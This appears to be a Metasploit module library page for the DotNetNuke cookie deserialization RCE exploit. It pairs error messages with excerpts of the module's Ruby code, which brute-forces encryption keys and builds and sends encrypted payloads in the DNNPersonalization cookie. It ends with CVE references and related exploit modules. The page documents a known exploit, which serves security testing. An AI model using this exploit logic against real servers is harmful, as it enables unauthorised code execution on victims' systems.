396: print_warning('DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).')
397: datastore['TARGET'] = 1
398: else
399: print_warning('Could not determine DNN version. Target may still be vulnerable. Manually set the Target value')
400: end
401: end
402:
403: # ==============================
404: # Known plaintext attack to
Key not found
Here is a relevant code snippet related to the "Key not found" error message:
466: end
467: end
468: elapsed = Time.now - start
469: print_search_status(i, elapsed, total_keys)
470: print_line
471: print_error('Key not found')
472: vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
473: vprint_status(format('Time run: %<r_time>.3f seconds', r_time: elapsed.to_s))
474: return nil
475: end
476:
DryRun enabled. No exploit payloads have been sent to the target.
Here is a relevant code snippet related to the "DryRun enabled. No exploit payloads have been sent to the target." error message:
655: enc_cookie = Rex::Text.encode_base64(
656: encrypt_data(@encryptor, cookie, @passphrases[i])
657: )
658: if @dry_run
659: print_line
660: print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
661: print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
662: print_line(enc_cookie)
663: break
664: end
665: execute_command(enc_cookie, host: datastore['RHOST'])
Printing first HTTP callback cookie payload encrypted with KEY: <VALUE> and IV: <VALUE>...
Here is a relevant code snippet related to the "Printing first HTTP callback cookie payload encrypted with KEY: <VALUE> and IV: <VALUE>..." error message:
656: encrypt_data(@encryptor, cookie, @passphrases[i])
657: )
658: if @dry_run
659: print_line
660: print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
661: print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
662: print_line(enc_cookie)
663: break
664: end
665: execute_command(enc_cookie, host: datastore['RHOST'])
666: end
<OPTS:HOST> - target unreachable.
Here is a relevant code snippet related to the "<OPTS:HOST> - target unreachable." error message:
735: res = send_request_cgi(
736: 'uri' => uri,
737: 'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
738: )
739: if !res
740: fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
741: elsif res.code == 404
742: return true
743: elsif res.code == 400
744: fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
745: else
<OPTS:HOST> - payload resulted in a bad request - <RES.BODY>
Here is a relevant code snippet related to the "<OPTS:HOST> - payload resulted in a bad request - <RES.BODY>" error message:
739: if !res
740: fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
741: elsif res.code == 404
742: return true
743: elsif res.code == 400
744: fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
745: else
746: fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
747: end
748: end
749:
<OPTS:HOST> - Something went wrong- <RES.BODY>
Here is a relevant code snippet related to the "<OPTS:HOST> - Something went wrong- <RES.BODY>" error message:
741: elsif res.code == 404
742: return true
743: elsif res.code == 400
744: fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
745: else
746: fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
747: end
748: end
749:
750: # ======================================
751: # Create and send final exploit payload
Target requires encrypted payload, but a passphrase was not found or specified.
Here is a relevant code snippet related to the "Target requires encrypted payload, but a passphrase was not found or specified." error message:
754: def send_exploit_payload
755: cmd_payload = create_payload
756: cookie_payload = create_cookie(cmd_payload)
757: if @encrypted
758: if @passphrase.blank?
759: print_error('Target requires encrypted payload, but a passphrase was not found or specified.')
760: return
761: end
762: cookie_payload = Rex::Text.encode_base64(
763: encrypt_data(@encryptor, cookie_payload, @passphrase)
764: )
DryRun enabled. No exploit payloads have been sent to the target.
Here is a relevant code snippet related to the "DryRun enabled. No exploit payloads have been sent to the target." error message:
762: cookie_payload = Rex::Text.encode_base64(
763: encrypt_data(@encryptor, cookie_payload, @passphrase)
764: )
765: end
766: if @dry_run
767: print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
768: print_warning('Printing exploit cookie payload...')
769: print_line(cookie_payload)
770: return
771: end
772:
Printing exploit cookie payload...
Here is a relevant code snippet related to the "Printing exploit cookie payload..." error message:
763: encrypt_data(@encryptor, cookie_payload, @passphrase)
764: )
765: end
766: if @dry_run
767: print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
768: print_warning('Printing exploit cookie payload...')
769: print_line(cookie_payload)
770: return
771: end
772:
773: # Set up the payload handlers
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Related Pull Requests
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13257 Merged Pull Request: .NET Deserialization Library Improvements
- #12096 Merged Pull Request: Add DNN Cookie Deserialization RCE Exploit
References
- CVE-2017-9822
- CVE-2018-15811
- CVE-2018-15812
- CVE-2018-18325
- CVE-2018-18326
- https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html
- https://github.com/pwntester/ysoserial.net
See Also
Check also the following modules related to this module:
- exploit/windows/http/servu_session_cookie
- exploit/windows/http/desktopcentral_deserialization
- exploit/windows/http/hpe_sim_76_amf_deserialization
- exploit/windows/http/netmotion_mobility_mvcutil_deserialization
- exploit/windows/http/sharepoint_data_deserialization
- exploit/windows/http/telerik_rau_deserialization
- exploit/windows/http/advantech_iview_unauth_rce
- exploit/windows/http/cayin_xpost_sql_rce
- exploit/windows/http/dlink_central_wifimanager_rce
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- exploit/windows/http/geutebrueck_gcore_x64_rce_bo
- exploit/windows/http/git_lfs_rce
- exploit/windows/http/gitstack_rce
- exploit/windows/http/manageengine_adshacluster_rce
- exploit/windows/http/manage_engine_opmanager_rce
- exploit/windows/http/mcafee_epolicy_source
- exploit/windows/http/netgear_nms_rce
- exploit/windows/http/nscp_authenticated_rce
- exploit/windows/http/plex_unpickle_dict_rce
- exploit/windows/http/prtg_authenticated_rce
- exploit/windows/http/sepm_auth_bypass_rce
- exploit/windows/http/zentao_pro_rce
- exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
- exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
- exploit/windows/misc/veeam_one_agent_deserialization
Related Nessus plugins:
- DNN (DotNetNuke) 5.2.0 < 9.1.1 Multiple Vulnerabilities
- DNN (DotNetNuke) 9.2 <= 9.2.2 Weak Encryption Algorithm Vulnerability
Authors
- Jon Park
- Jon Seigel
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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